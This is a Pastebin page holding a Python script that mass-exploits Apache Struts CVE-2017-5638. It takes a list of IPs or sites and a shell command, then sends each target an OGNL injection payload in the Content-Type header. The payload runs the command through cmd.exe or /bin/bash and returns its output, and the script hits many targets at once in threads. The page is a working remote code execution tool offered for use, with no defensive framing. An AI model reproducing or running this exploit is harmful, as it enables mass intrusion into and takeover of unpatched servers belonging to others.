Advertisement
miraip0ts

Apache Struts (CVE-2017-5638) RCE Mass-Exploiter

Mar 12th, 2017
552
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.41 KB | None | 0 0
  1. #!/usr/bin/python # CVE-2017-5638
  2. # Modded By: LiGhT # Added multi-target and multi-threading
  3. # Original By: Nike Zheng
  4. # Source: http://www.hackplayers.com/2017/03/exploit-rce-para-apache-struts-cve-2017-5638.html
  5. # P.S. You can't be an idiot
  6.  
  7. import sys, os, threading, time, re
  8. import urllib2, requests, httplib
  9. from requests.packages.urllib3.exceptions import InsecureRequestWarning
  10. requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
  11.  
  12. if len(sys.argv) < 3:
  13.     print "Apache Struts (CVE-2017-5638) RCE Exploit\n"
  14.     print "Usage: python "+sys.argv[0]+" <List.txt(ips/sites)> <cmd>"
  15.     print "\nExample: python "+sys.argv[0]+" sites.txt whoami"
  16.     sys.exit()
  17.  
  18. hacks = open(sys.argv[1], "r").readlines() #list of ips or sites
  19. cmd = str(sys.argv[2]) #command to execute
  20.  
  21. def exploit(url):
  22.     payload = "Content-Type:%{(#_='multipart/form-data')."
  23.     payload += "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."
  24.     payload += "(#_memberAccess?"
  25.     payload += "(#_memberAccess=#dm):"
  26.     payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
  27.     payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."
  28.     payload += "(#ognlUtil.getExcludedPackageNames().clear())."
  29.     payload += "(#ognlUtil.getExcludedClasses().clear())."
  30.     payload += "(#context.setMemberAccess(#dm))))."
  31.     payload += "(#cmd='%s')." % cmd
  32.     payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))."
  33.     payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))."
  34.     payload += "(#p=new java.lang.ProcessBuilder(#cmds))."
  35.     payload += "(#p.redirectErrorStream(true)).(#process=#p.start())."
  36.     payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))."
  37.     payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))."
  38.     payload += "(#ros.flush())}"
  39.     try:
  40.         headers = {'User-Agent': 'Mozilla/5.0', 'Content-Type': payload}
  41.         request = requests.get(url, headers=headers,verify=False)
  42.     except httplib.IncompleteRead, e:
  43.         request = e.partial
  44.     print request
  45.     #if "tomcat" in request:
  46.     #   print "YEET"
  47.     #else:
  48.     #   pass
  49.  
  50. for url in hacks:
  51.     try:
  52.         if "http://" not in url:
  53.             url = "http://"+url+"/"
  54.         else:
  55.             url = url+"/"
  56.         strut = threading.Thread(target=exploit, args=(url,))
  57.         strut.start()
  58.     except:
  59.         pass
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement